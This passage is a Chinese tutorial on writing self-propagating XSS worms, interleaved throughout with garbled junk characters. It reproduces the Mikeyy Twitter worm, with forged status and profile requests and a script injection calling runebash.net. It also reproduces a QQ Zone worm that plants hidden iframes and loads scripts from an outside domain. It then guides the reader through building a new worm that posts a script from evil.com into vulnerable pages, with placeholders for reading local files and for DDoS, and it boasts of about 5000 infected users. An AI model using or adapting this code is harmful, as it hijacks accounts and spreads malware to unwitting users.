1 Z0 b: o3 w: B, s) E E 9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
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10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; % g0 L* t/ P+ N- P, P
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11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy."; % H$ F, x/ I3 P% f% @( a
) F; A' V* P% e# h, q* x& @ 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
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( a' }$ s- e; K) R b4 V 13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
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% H; B- g$ b7 |6 m6 M2 d5 V5 |$ P 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
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. o! @ {/ k T) x 15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy."; ' ]! z: T2 B' P
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16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; 9 v W& c6 E' |( J" S) C8 h
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17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
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18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; , X0 x s `. e; Q4 R
% ^$ b1 d4 @, Z+ A3 r 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy."; 9 Y" \ e" V4 L8 H4 a
- I9 a2 n1 c3 [4 _9 c 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
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. N! ?$ f$ d9 z& }, Q 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
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22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
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3 q' k8 ^9 t1 U5 x5 J/ r4 x8 A9 } 23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe"; % N }3 [ w6 O+ ?% V7 e4 a) H
7 X n+ y( f7 K; e0 s/ l; P3 Z 24. 0 T9 X0 f1 j2 [5 ?0 j/ y5 `
8 s% _1 `- g9 t+ ^% F1 w. Y! z 25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
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26. var updateEncode=urlencode(randomUpdate[genRand]);
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5 D4 I$ ]7 {) C9 A2 U+ s- H/ g 27.
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28. var ajaxConn= new XHConn();
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29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); : g5 o( S( F1 a: Z9 C: J
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30. var _0xf81bx1c="Mikeyy"; ; J, k4 k( M! E( |: ~
% T1 f" C( M$ O, ?2 M 31. var updateEncode=urlencode(_0xf81bx1c); 5 q& b5 e" ~) t, l
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32. var ajaxConn1= new XHConn(); " v) M) }5 C0 W. H: y k' V; J
9 Q! ^) K' |5 i1 z, m3 j& t. n. ], T& h 33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
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$ Q: }4 x. h [# S# B! F 34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
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35. var XSS=urlencode(genXSS); 2 h3 C. G" g- D+ H! T7 Z( p' i+ O
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36. var ajaxConn2= new XHConn(); 8 F$ F# `& _( j9 r3 f" S1 x
' y/ Q; I4 u6 _1 o 37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
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40. setTimeout(wait(),5250);
( N# I, `! E1 i Z3 n% j复制代码QQ空间XSSfunction killErrors() {return true;}
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1 N8 P% v, X, _0 p% A; ^8 Mwindow.onerror=killErrors;
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& A2 l. p9 {) T
' m( H7 h5 Q/ E6 N; hvar shendu;shendu=4;( q0 v2 r D5 m8 \# Y6 D L. y0 l
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//---------------global---v------------------------------------------
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//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
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1 H) ?' N- a3 yvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
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* |9 N6 X% w# K9 z- Ovar myblogurl=new Array();var myblogid=new Array();8 v! H0 N7 m d" Y/ g
: C: N) z- ^" q. w" { V var gurl=document.location.href;1 _ b* W4 t0 D: _" s G$ `8 R4 ^
) l; W# m. h8 C+ m+ z var gurle=gurl.indexOf("com/");4 B; Z( p1 I3 s& U. D. b, Y4 Q
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gurl=gurl.substring(0,gurle+3);
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var visitorID=top.document.documentElement.outerHTML;+ `/ M `5 X! j
( R- i! ~; H1 C) `& N var cookieS=visitorID.indexOf("g_iLoginUin = ");
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" N. o" i' K# M8 @ visitorID=visitorID.substring(cookieS+14);* d( H) k2 \# u- A% }
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cookieS=visitorID.indexOf(",");
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visitorID=visitorID.substring(0,cookieS);
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& P x e( U' g- F" r get_my_blog(visitorID);
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# U) `1 T: n/ { DOshuamy();
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/ a$ D) Y$ i& S
2 i/ {/ D! D+ p//挂马4 k. ^" V$ U( ]6 l. |
, t( S' g2 N/ x% ^; q3 Ufunction DOshuamy(){
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var ssr=document.getElementById("veryTitle");
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ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
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}$ a/ R! a! ~( g/ Z# | K# i
T# M/ T- r: | ~+ o5 ]
\! J3 w9 u" V* d2 o6 w( P
2 o0 Z4 t, ~7 z3 U8 |3 [6 w//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?6 ^ D! g3 _- z, X; a
% Q! p/ [4 K% e. y# u5 d' d8 I) yfunction get_my_blog(visitorID){
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2 j/ j( R/ f! e) \3 C" W userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";8 p& x+ {& f4 `$ ~5 E
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xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
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if(xhr){ //成功就执行下面的
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$ t: Y" a# K7 q. [- u- U/ g" S( Z5 v xhr.open("GET",userurl,false); //以GET方式打开定义的URL
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xhr.send();guest=xhr.responseText;! D5 Q- F7 l/ e5 N9 Y% [+ ^4 _
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get_my_blogurl(guest); //执行这个函数
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}
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}
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$ r# F" O1 E2 g//这里似乎是判断没有登录的; [1 b. r) [/ N/ t( M
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function get_my_blogurl(guest){
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var mybloglist=guest;
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var myurls;var blogids;var blogide;
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for(i=0;i<shendu;i++){
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myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了 R) \& Y2 ?& K
5 ~$ Q7 F7 f& k3 a9 f if(myurls!=-1){ //找到了就执行下面的
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mybloglist=mybloglist.substring(myurls+11);
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- U6 C* ]) {& h6 E+ Y1 ^& m myurls=mybloglist.indexOf(')');; ?3 w- m( Y2 [
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myblogid=mybloglist.substring(0,myurls);
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}else{break;}$ `% ^$ f% d c* V! U
9 Q, V" f' s3 H}! Z. [5 x$ T2 S+ q
7 X b8 j* S, @& \4 K/ v( o0 P/ zget_my_testself(); //执行这个函数, A+ ?/ d( [) C& i( ]* j% \0 `
# D- C8 i+ Q$ @$ L. L8 \; a4 |% Y} t5 D0 |5 o% [" C- G
# B ~( `0 l: `2 T
3 z3 F/ n. p% h7 j
% ]9 C% j4 p1 r: g" u//这里往哪跳就不知道了
- @6 m) d9 U9 v* l( R" m9 N8 n' z4 b/ Y$ o) U
function get_my_testself(){: u& U! g; n5 S7 i* _) n
9 s' q- N9 e5 ^$ u' L
for(i=0;i<myblogid.length;i++){ //获得blogid的值
$ N, e# R- ~* F0 O: Y7 h* G( ^8 } E& ^7 V
var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
% H& _- f- C7 e$ F N- b+ j# {! h& V! J# t0 E$ i% M
var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象
, z) x4 E. `/ A, V% [- [$ ]8 a
{: K- ?3 K$ P1 Y" { if(xhr2){ //如果成功* W8 }6 A0 L( U+ Q o; j+ K6 P
& R4 W1 S9 g6 o& x; X5 T8 ^
xhr2.open("GET",url,false); //打开上面的那个url
# \$ L; g6 v' @3 j) w% H
9 W/ ~9 `# @" h3 W3 e% I xhr2.send();
/ ~) U( m0 V; H1 _2 U: _4 i, P- y: V$ }1 C- N
guest2=xhr2.responseText;; w: {# B6 v5 }
" G8 i: w" y. z: U) t& y- J* f
var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?% `$ Z( w2 G! i: i. Q s0 ]0 m
. F2 q: c+ V2 G4 I% U8 q* l5 k; r
var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
0 P- B5 J) l5 x; k2 ]" G6 }% } r6 h& `0 l
if(mycheckmydoit!="-1"){ //返回-1则代表没找到. [! ?8 W9 _* J* [- I
% [" X$ ~/ H9 Y targetblogurlid=myblogid; % F8 @. d: U" Z+ N( L" P# `/ v5 X4 T
) u( v5 R/ Z0 r: ]" @
add_jsdel(visitorID,targetblogurlid,gurl); //执行它
% }# L9 z* V8 u) k9 O8 C R# @* ^" R$ t# V w
break;+ W: i* ^ ?- M5 P$ X9 E
& L0 K( l* @8 `* x4 P
}
2 K7 u0 e+ E, E% h+ o6 g
" s. w( ]7 l8 @ if(mycheckit=="-1"){
2 R) _1 W' v, k, Q) L9 a' Q% R1 y0 w9 i- ]9 J/ H
targetblogurlid=myblogid;
2 m1 y7 ^0 {4 x- T
$ z& F$ O6 Z! b6 a) g2 b, L add_js(visitorID,targetblogurlid,gurl); //执行它
: B2 ~- C* X) Z9 o# L" [) K
+ s6 Q+ H( p- {! N& V8 m/ h ~ break;
6 D) d" v. t2 M9 L! t3 ~# B+ h/ d7 e
}$ O) f7 o' O# k' |# f$ G. P
) w5 N% `3 b' j4 o
} 3 M0 w3 g5 d/ D4 C# u6 w d8 O! _
) H, a$ ]# C6 N. N+ T}
) ~; O8 \9 v( k a: P
# F( g7 x6 _! Y}
3 K$ @8 h7 `( F" @* ?' \1 H7 U( H! r8 u
' F4 b# d9 X( S* _9 i% u; {5 Q; k5 X* S
//-------------------------------------- ' V: V% C/ j; R0 a/ w. m
& t& D5 s3 v/ a7 a//根据浏览器创建一个XMLHttpRequest对象
L1 t: F6 ]+ `. s) I0 F( B! ]6 Q, G% {- `0 L8 y% F
function createXMLHttpRequest(){
2 p+ b W- i1 M
- p# ~& y0 t" q$ \ var XMLhttpObject=null;
) B; G2 G# V) L8 A" y# {6 C3 H1 Y3 l4 B* y4 h" h: u8 Q7 k- d/ W
if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()} ; ]# v3 y2 M1 \' c
8 q/ z% V% l2 c" f6 z1 r: G
else
) K3 x2 r- u4 L* d w8 ~ a/ }5 j: E, W- t( H9 }
{ var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
# l$ l9 H6 e& X/ K5 t
1 u) y0 o1 J! E9 A for(var i=0;i<MSXML.length;i++) " k; B- g2 B3 {* e
) C* W/ g6 T* A { & D+ ?3 X, Q! {% X( v# ~
( Y, p t# X% Z6 e5 C try
, `+ z" d. ~* A6 j/ I, r3 o8 Z" ]7 z3 M) j4 S! N3 A
{
. ]/ ]) K; j: |! O
6 J8 L% d8 H! [! V( i( _0 x XMLhttpObject=new ActiveXObject(MSXML); ! w7 C0 k* f" k: ?! X9 j
- l% r7 H, l. l; a9 K p break;
4 z3 O% O+ R5 K. V6 ], N% K% ^- B
$ u$ b6 ^. H0 ^& G }
, `9 i: U9 g& N$ L4 e( T0 ^! k8 N. @, | `9 l6 R
catch (ex) { 9 d" m3 `* U: x* |2 @ }% `; O
5 T9 K. |1 |2 x) n3 J0 u! O& Z
}
% u" \( d5 ` m3 E, [1 {
- I, X" v2 ^8 @. D! E- _" d }
* `: R2 K$ ^, {) n! _
" W7 k& |! g) N$ B! m } R1 Y+ }; n0 x3 o" L6 T
$ i! O3 z( m) m3 @6 K3 X$ o2 Ureturn XMLhttpObject;. L+ f5 V+ _: n* }2 i
9 C7 b4 R# n; C5 z+ s}
( N7 `9 V; R' H+ Y! R7 C( I% E8 R+ H5 F- X
+ c' G& K" |5 v z$ u
" e! d! T0 \4 n$ p" K//这里就是感染部分了
5 s& ^) q8 q5 Q, L! M) K4 _5 H1 o/ G
" o$ n% \# j% ?/ y- Hfunction add_js(visitorID,targetblogurlid,gurl){
; h4 O1 |* p9 E1 `! V, [6 K, t! k! ]/ \
var s2=document.createElement('script');$ K9 g; {- y" }0 ^! Q( N; n$ @
% U; U) [# b0 q1 Ls2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();+ D7 t9 v7 ~3 O$ F
" b& v0 _4 |9 Y+ @. i
s2.type='text/javascript';
% \4 M- z( O) p2 g. w! m+ y
& \9 b7 u0 h7 {" M3 T7 Tdocument.getElementsByTagName('head').item(0).appendChild(s2);
/ [4 R* L% Q1 T/ J, K- q1 C/ W1 N: V8 E: M0 N
}
2 x& N1 l6 D- C& d- G2 q! @9 t
" \6 J5 E% L7 H
2 B, o$ n" H/ s, e4 I! Q( C5 i' N5 o* s3 e* g' x: V$ \
function add_jsdel(visitorID,targetblogurlid,gurl){( I: Q+ F& k5 L* Z
, ~5 X" m" ?. M6 evar s2=document.createElement('script');$ k Z' g( r2 K: h" v
( ^, _/ m; c: k' M5 D$ cs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();3 L$ T6 _/ ]/ W' N
8 I. d2 ]; w$ ?2 ?- L
s2.type='text/javascript';
# }1 L* C" E- J6 i; {$ g3 F1 g6 A2 z9 s3 ]3 P' N
document.getElementsByTagName('head').item(0).appendChild(s2);
% T2 C$ Z" u4 X# A8 B) f# D8 u0 B' B* h- u$ H
}3 A' ]" }$ k: M1 V4 w0 [- S
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:+ Q6 V& Q$ R( f- ~( H4 V0 p
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
+ B6 |. c; ]) y- B6 W, b2 z' ^' v4 o
2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
' s% Z v3 I+ f, \' L
- ? Z; ~9 j1 t o5 w) P综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
+ C9 Y8 t% v9 m% s( B; l2 J0 t) J! V5 A# X: L, [# {4 [$ Q/ u$ E
7 O1 u3 p- ] v下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.8 o+ B2 `8 d- [- N+ `
1 H- A# Y' v7 O- E! X- ^7 n8 w首先,自然是判断不同浏览器,创建不同的对象var request = false;
. z8 w0 h8 N% N% B
$ x. a3 @& ^4 z' D0 d- rif(window.XMLHttpRequest) {" i% v6 B3 u& C O; v W
4 S: |4 q: p$ T; T; V6 \request = new XMLHttpRequest();4 }( f5 _9 u7 I* J
& N0 F# \# U$ r3 ?7 J: V
if(request.overrideMimeType) {' `: x% I7 @7 i
7 l4 H8 y9 ~5 Lrequest.overrideMimeType('text/xml');+ w. d5 K! J4 _: V& q5 c1 X2 i
; X8 c z7 P6 M o}
3 z( \* W h9 n# C, p
5 w: U, q0 V* u( ?2 Z& p} else if(window.ActiveXObject) {
" H9 v5 I1 {7 @" G. k0 m5 p$ d- H) c# `
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
9 n9 G" @, d4 `2 C8 Y$ B; M
4 e) o b; F+ A d3 K, v+ Efor(var i=0; i<versions.length; i++) {
) m+ p1 |8 R4 B8 c$ t
9 ]) V. o5 H. O T* r* T2 f% E7 jtry {! x, m4 X0 y$ K4 S ?
1 ]4 ^2 L+ f& C+ D& [& b5 A$ arequest = new ActiveXObject(versions);8 Q O) |- \4 ~, [1 b I+ a
( u/ b. c3 g' u& g0 X6 O} catch(e) {}& }7 V3 l8 {+ Y( ^2 w# R% O
+ p% v4 m3 t) d, a* }}" y( } g" n1 _) \. ~* B: g
) `6 Q# c) d, ?8 H# Q}
3 I2 J1 b% [8 {, Q- y4 C7 |/ e5 {
xmlHttpReq=request;
% B9 f+ L2 y, ~& a4 X1 ~( n复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){, e b: C7 J. y/ Q+ ?# U# D, \5 W0 s
5 f4 Y+ m6 N5 a: x2 ]
var Browser_Name=navigator.appName;6 A9 f0 I( m- S3 j
+ V N6 @8 q- G) r2 X! S/ ~2 @
var Browser_Version=parseFloat(navigator.appVersion);0 [1 n7 \" C# V9 p6 ]2 e- X8 @
, r$ h# h. c. E0 J s3 h9 q; D* i/ R var Browser_Agent=navigator.userAgent;! p! `2 T8 M$ ~9 z+ L" U1 B6 ~& H
3 x9 q" V6 Y' ?5 F/ W$ T
6 W7 h, U0 M! I* T& B4 F5 [
* {: `3 V9 ?' k4 ?: a' J5 E) C var Actual_Version,Actual_Name;5 M+ ~" _# x! V- O1 V
; h: }3 v& _/ M" q! O" E2 |
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7 N i) D+ i9 ]; N
var is_IE=(Browser_Name=="Microsoft Internet Explorer");% u, A5 Y- E) a, e5 c- {# G, Y
: V/ ]! i3 g) K$ s# Q
var is_NN=(Browser_Name=="Netscape");$ f" P0 B4 U) P& r0 Y" o/ H/ C
( D0 ~2 _- Y" x) |2 P; G3 z, L6 J var is_Ch=(Browser_Name=="Chrome");' r: K# e" O. p
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2 J2 M2 ^9 |# _- A; Q
if(is_NN){
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if(Browser_Version>=5.0){
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3 p! i( l2 |1 R var Split_Sign=Browser_Agent.lastIndexOf("/"); A* E) m: q9 g& q# ?3 O. V7 C; ]- m+ c
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var Version=Browser_Agent.indexOf(" ",Split_Sign);& D* T, _/ |0 v! D* E; `8 p0 i/ R
7 a$ j. L, r, X; g6 b var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);/ d9 ~) _! D9 U
+ s8 X& D% {+ D/ ^0 a8 I# k1 z; y" T+ e& Q# ~0 Q; B! d: B8 Y+ X
. `1 S8 z$ y) K M4 A; C Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
4 f! M& c& L, I' N! w7 e% U t- q& a- O9 |
Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);3 {' d9 q$ w s7 K! F- \9 Y
$ v% W: F3 g# |
}
7 I8 u5 O$ I( q, r1 L
% T/ B/ `& _% { else{
2 }: i7 | I' Y Z W6 v
+ u# z3 d' ]# B7 f2 [( s; y! u7 F9 X2 S Actual_Version=Browser_Version;
# L2 H9 {& } ?
9 m5 I q: O1 o' A. t Actual_Name=Browser_Name;
# a. y4 b% I) K
& f2 s3 n- y* |6 t; l w* G# ? }5 Z! Q1 N* ~5 W) ^% Y
/ x% j+ l. {% v9 J+ @
}
L1 S( T/ }$ j6 V2 @
8 r, @ b& `" B4 J else if(is_IE){2 X) V% s6 f3 e" Z. \- ~
7 P1 x c: y2 v, \+ K
var Version_Start=Browser_Agent.indexOf("MSIE");/ \3 O1 E# p* a# `! f
, L, Z% e+ N# h" I( m5 ]5 m var Version_End=Browser_Agent.indexOf(";",Version_Start);
5 z, p f! i( H" m! L; o' T% J( y% }% O( U9 r0 U2 V
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)$ G! A) f, |, ^# j2 ]0 X
9 P Y: T- q H% T7 y
Actual_Name=Browser_Name;
v1 Y/ l6 L; m2 }9 a- h
c: d' i0 u6 B- N* ^7 c 3 }5 I' E' _% y
# \6 m. N3 |7 N3 `
if(Browser_Agent.indexOf("Maxthon")!=-1){
# I3 [) D2 l! W# C
7 k3 l; Y/ {( L4 _ Actual_Name+="(Maxthon)";) w! u# |+ a+ a& m) v: X8 H
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}* O' K2 n; P# C& w
" A4 Q$ ?5 E8 L0 \
else if(Browser_Agent.indexOf("Opera")!=-1){+ i" |6 ?- D9 y- ^7 Q
$ g$ C4 }( D% U/ Q* S$ W2 s Actual_Name="Opera";+ q: g2 f: R7 O/ t6 Y D, i
6 M4 ]& s5 Y1 f: q/ ^
var tempstart=Browser_Agent.indexOf("Opera"); t L9 ?" N' q c2 g
& ]. l6 E. H+ _- }1 H var tempend=Browser_Agent.length;
/ m3 b) X$ [& V% n# c; R( p/ l2 N1 j
# D. S5 g6 w7 h Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
% j- ^6 V8 A& n3 T% _) `& W! n( U) A& @" b0 q& [0 C
}
4 m1 c; j# ~0 G6 F7 s
/ P. q a+ ?" d b. m9 W+ U5 R }4 c8 Q% |0 n7 @3 g6 V9 X
. c7 R3 m9 {/ f else if(is_Ch){
; h% C3 M( u1 n) z$ ` J- ~
; X9 a% N: L S var Version_Start=Browser_Agent.indexOf("Chrome");+ w# e' _' U" f" v+ d( Z9 N k7 S
f. R& a# O* r2 i0 ~3 j9 _ var Version_End=Browser_Agent.indexOf(";",Version_Start);
) {! b/ t: g6 l* T) e% q
! |# o2 x) N8 L' f5 B- ` Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
: @0 t" q! _' Q! Y
7 R' h/ M9 V, n$ B7 h9 _. W Actual_Name=Browser_Name;
+ P' d8 Y* ?$ W5 Q" ^" ^2 g' e$ _' A8 C. g a
# h3 F6 C. V4 o. f% l' r! _2 L! ?8 c7 d k1 a: {. Y4 R. n
if(Browser_Agent.indexOf("Maxthon")!=-1){
# E4 i" _7 C0 n* Y: ?5 i5 A& s" p& B, @( u; T, j8 B
Actual_Name+="(Maxthon)";) Y- ^1 q* F) @
: `7 r0 q0 [' x0 S6 S6 ^1 a
}* M- \$ H: E8 _ |7 `; Q
/ n7 ~+ j2 l5 ?* p3 m$ P
else if(Browser_Agent.indexOf("Opera")!=-1){
! J# ^5 F( q7 w: F
# ]# C8 Q2 D6 n; f2 B, s Actual_Name="Opera";
, S& q D$ q1 u8 n$ ^
. N7 f: Z; F2 l9 X6 l% F7 `, _ var tempstart=Browser_Agent.indexOf("Opera");
7 ?: \0 Q" U0 E0 L& B
! B ]! v& P3 c" A$ _ var tempend=Browser_Agent.length;
. e- i! z9 Q1 n
6 c# @8 ]$ c3 e5 h& a8 w Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
& M0 P' p4 ]9 n4 O8 T: P$ F9 |; ~& A
}! f+ S3 a0 {! v3 q M
1 j8 z( D4 g# L0 @8 u6 [' F
}$ ]) X( \8 [5 r2 Z, A
5 G* U, V7 j, u$ F7 h& e6 E else{/ |- d3 k" Q6 r! L
; Y$ Y) F) {* o& _% r Actual_Name="Unknown Navigator"
; _, ~, D1 z* a1 {% F7 y
- x* k y! V% } Actual_Version="Unknown Version"/ {( S- r8 i* m
8 l9 C0 o( u, _2 x# d$ U
}# {; k8 k, Z0 a4 ?2 b
5 v N7 l1 V( Z( x3 m: Z; b
: l3 ]( \: h7 Y' W5 V3 H3 ^; ~; c. M4 ]
navigator.Actual_Name=Actual_Name;" M# H Z+ z: |3 b
: i, R* \6 F4 M0 w, L2 f0 O navigator.Actual_Version=Actual_Version;' b3 }/ C0 P' o# @8 {( {! E
1 W/ d# w K7 J3 f1 z4 a
. e! ~2 A3 P# g# a+ M2 ]% y5 I, x# x1 P3 W& X( P% |
this.Name=Actual_Name;
7 G. N; `% ?) t; |- z
; a8 P- q7 F _/ i* U this.Version=Actual_Version;
% F8 e, _- B8 `9 ^2 b( E5 N' _7 Z3 q- {( U
}' D: o" G, A6 M5 O; j F) d' |
, F# M; e+ Y& D4 H( I% O8 U! S( |, A
browserinfo();
" X# |0 k8 C+ l4 G% C* r- \" A6 J$ o# k
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}: n8 w$ G+ x) t" Y, b) }
4 h- Y/ y6 R- p6 c2 [- e if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
2 p% s" O, `) r' ]( ~3 Z) C& M4 p3 O5 C" _: W
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}( r t, G) `& f2 E& n, v
) N( U$ E* ?6 t if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
5 Z9 T1 z* o2 F$ N) Q$ j复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
. q s" B6 d+ K6 y复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码/ h* I- ~. G" F6 G/ J
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.
' Z$ C4 u g0 e. u* g6 X! e$ w0 R% C0 h8 O7 ?
xmlHttpReq.send(null);8 G0 B7 L& F/ T9 u& G
5 x: j9 d7 F2 N' u/ z# F
var resource = xmlHttpReq.responseText;( ^7 q0 ?' i# F3 O6 a; u& N# m: T
1 m! P# j" y# Q! p& E) ^" E- gvar id=0;var result;8 }0 A+ W j: ]( l
* [: `+ V0 k7 U6 g
var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量., v3 d9 |7 L% C
$ I8 F ^* @( P# p/ Jwhile ((result = patt.exec(resource)) != null) {
5 z2 H I* b s, B' V% ^& S6 V$ Q
id++;/ W- d- ~( {3 t
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复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.7 {2 u5 Z% a- k; Y8 I# W! ^
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no=resource.search(/my name is/);- K' e, a7 m. k: _2 {; I
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var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.+ Q" z. h+ @/ l" C
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" S2 l& j3 g N1 K3 B* c) X4 lxmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去., v7 f# t' k+ @( h
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");6 t% s: A* |. O! H$ s2 v& G
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xmlHttpReq.setRequestHeader("content-length",post.length);
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");5 I5 k) M2 n* J' w2 c, _
6 f0 [) K5 q; n5 Q! T [xmlHttpReq.send(post);& ^$ R* _2 S( V J J% _! h
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复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
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var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
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' p1 Y8 n4 c* C$ ^% Fvar namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
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var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
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var post="wd="+wd;
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. f- g$ a1 A2 K3 H7 kxmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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xmlHttpReq.setRequestHeader("content-length",post.length); % ?( D! W s1 ~# m: ~
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");; R: R) P4 W& n6 x
+ i0 N3 P' ^, P2 c* PxmlHttpReq.send(post); //把传播的信息 POST出去.
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复制代码-----------------------------------------------------总结-------------------------------------------------------------------
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本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
, M" q9 p( a6 E; R' a0 q7 e% p蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.$ o2 R& ~' s/ @% n& G
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
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2 r' s4 L. o! L: _本文引用文档资料:
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) d6 _5 ]7 Q$ w6 M- |# G"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
$ W, t3 R2 X5 ?, X0 J: ?Other XmlHttpRequest tricks (Amit Klein, January 2003)+ d i4 k4 d4 o
